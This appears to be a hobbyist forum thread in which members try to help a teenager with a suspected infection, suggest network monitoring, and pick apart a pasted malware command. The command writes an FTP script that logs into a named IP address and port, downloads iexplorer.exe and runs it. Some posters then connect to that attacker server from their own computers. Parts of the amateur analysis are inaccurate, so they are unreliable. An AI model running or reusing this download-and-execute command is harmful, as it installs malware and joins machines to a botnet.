Uhm, virus? Help?

[Evar678]

Going to bed now, doing the same as last night and leaving notepad up for the whole night.

I did uninstall tightvnc so we'll see how things go.

Thank you so much for everybody that helped, I really appreciate it. If I'm still having any issues I'll continue this thread tomorrow after school.
Thanks everyone.

Please continue to post possible issues / solutions to this problem, too. Anything and everything can help.

[Ad Bot]

[aludane]

Additionally, downloading a NIDS tool to monitor inbound connections such as stealth port scans, normal port scans, various attempts at accessing network daemons etc.

This is a good one:

http://en.wikipedia.org/wiki/Snort_%28software%29

I would recommend Port Sentry but it's non-Windows :(

Also quick question. Do you have uPnP active on your router since you should switch that off if it's a bad infection. Don't want any nasty infections port forwarding if your computer is infected. Also it wouldn't hurt if you did a quick port scan on yourself just to see what's happening, use this to identify:

http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers

[mp7964]

Code: [Select]

start %systemroot%\system32\cmd.exe
del eq&echo open 181.166.154.188 7191 >> eq&echo user 16446 10097 >> eq &echo get iexplorer.exe >> eq &echo quit >> eq &ftp -n -s:eq &iexplorer.exe &del eq
Alright, I'm going to do my best to decipher this, line by line. Each >> probably shows line break, or new line. Small note, it looks like part of something bigger. A fragment.

Code: [Select]

start %systemroot%\system32\cmd.exe
del eq&echo open 181.166.154.188 7191
This starts cmd.exe, deletes the file called eq and echos open 181.166.154.188 7191 to something, possibly a textfile named eq. An FTP server, from the looks.

Code: [Select]

start %so user 10515 16135
Start is a batch/DOS (command prompt) command. It's used to start a program. The %so may be a variable, and user 10515 16135 is probably an argument. User is a command in the ftp program, mentioned later in the fragment.

Code: [Select]

eq &echo get iexplorer.exe

This might be adding 'get iexplorer.exe' to the file eq, which was created somewhere before.

Code: [Select]

eq &echo quit
This adds quit to eq.

Code: [Select]

eq &ftp -n -s:eq &iexplorer.exe &del eq

This is a bit red flag. It's calling FTP, which is a program. FTP = file transfer protocol = sending files over the internet. It's trying to launch it, like you might type into command prompt: ftp -n -s:eq. del eq = delete eq. eq is a file. If it's not calling cd to change directories, look in system32, where cmd.exe is located, for a text file named eq.txt. The -n argument is used to surpress the auto-login upon initial connection. -s is used to specify a text file with FTP commands in it. eq must be the text file full of commands. So what it's doing is adding to the text file:

Code: [Select]

get iexplorer.exe
quit
From what I can tell, it's doing something really useless. It's getting the file iexplorer.exe and quitting the FTP program, it shouldn't even be sending anything because it never connected. User in ftp.exe sends new user information from the description it gave me said. So it must be sending a new username and password. I'll try to connect to the actual FTP server right now with those credentials.

EDIT: Upon connecting to the FTP server in FileZilla,

Code: [Select]

Status: Connecting to 181.166.154.188:7191...
Status: Connection established, waiting for welcome message...
Response: 220 StnyFtpd 0wns j0
Command: USER 10515
Response: 331 Password required
Command: PASS *****
Response: 230 User logged in.
Command: SYST
Response: 215 StnyFtpd
Command: FEAT
Error: Connection attempt interrupted by user
I disconnected before it could do anything more.
 It seemed to get stuck on FEAT. FEAT returns all features of the FTP server.

StnyFtpd 0wns j0 is prolly some leetspeek stuff. User 10515 may mean that Evar's computer is the 10515th computer infected. I found this after googling StnyFtpd 0wns j0.

http://seclists.org/fulldisclosure/2004/Sep/864

Google StnyFtpd, you'll find plenty of scary articles about it.

I'll try to connect using ftp.exe now. This stuff is really cryptic.

EDIT: kback, and I may have just infected my computer with this virus inadvertantly. It said PORT command successful after I connected to it in ftp.exe, and then it told me that Windows Firewall blocked some features of ftp.exe. A bit scared now. I'm going to try again in a virtual machine.

[Evar678]

And at that, stuff just got real.

I'm actually worried now.

[mp7964]

And at that, stuff just got real.

Add me on steam, I'm MP6767 or mp6767asa or something. I need to talk to you fast and the forum is too slow.

[mp7964]

Also, in task manager. scroll to the bottom. End all ftp.exe processes.

[Evar678]

Add me on steam, I'm MP6767 or mp6767asa or something. I need to talk to you fast and the forum is too slow.

On a tablet, its faster for you to add me
Evar678

[Lando The Climber²]

I just connected to that IP through FTP successfully, the number after the address is the port.

[mp7964]

On a tablet, its faster for you to add me
Evar678

Added

I just connected to that IP through FTP successfully, the number after the address is the port.

Disconnect. Nao.

[Lando The Climber²]

Disconnect. Nao.

Did once I read your post, scanning my comp now O~o

[Mr.jacksaunt]

Would doing that in a sandbox have any negitive effects

[aludane]

Windows-default ftp utility.

Did once I read your post, scanning my comp now O~o

You used a VM right?

[mp7964]

Would doing that in a sandbox have any negitive effects

I'm installing a win2k VM to connect to it. I doubt it could do anything.

[Trymos]

2 idiots here.

there's a FTP IP that has relations to a virus.

and the first thing you guys do is try to connect to it using your MAIN COMPUTER?

*facepalm*

i got a laptop with ubuntu 11.04 and a 2000 vm all set up and therefore the pc is immune to this virus.

by the way, from what i can tell this virus is supposed to spread and only spread.

it uploads itself to ftp servers whenever possible.

it exploits network vulnerabilities to other computers on the network.

and finally it spreads itself on irc.

not sure what else it's supposed to do by then.
chances are, since it's connecting to a ftp server constantly and the leetspeek: you're part of a botnet. this means when the author DDoSes someone, you're helping him.

[Evar678]

stuff son.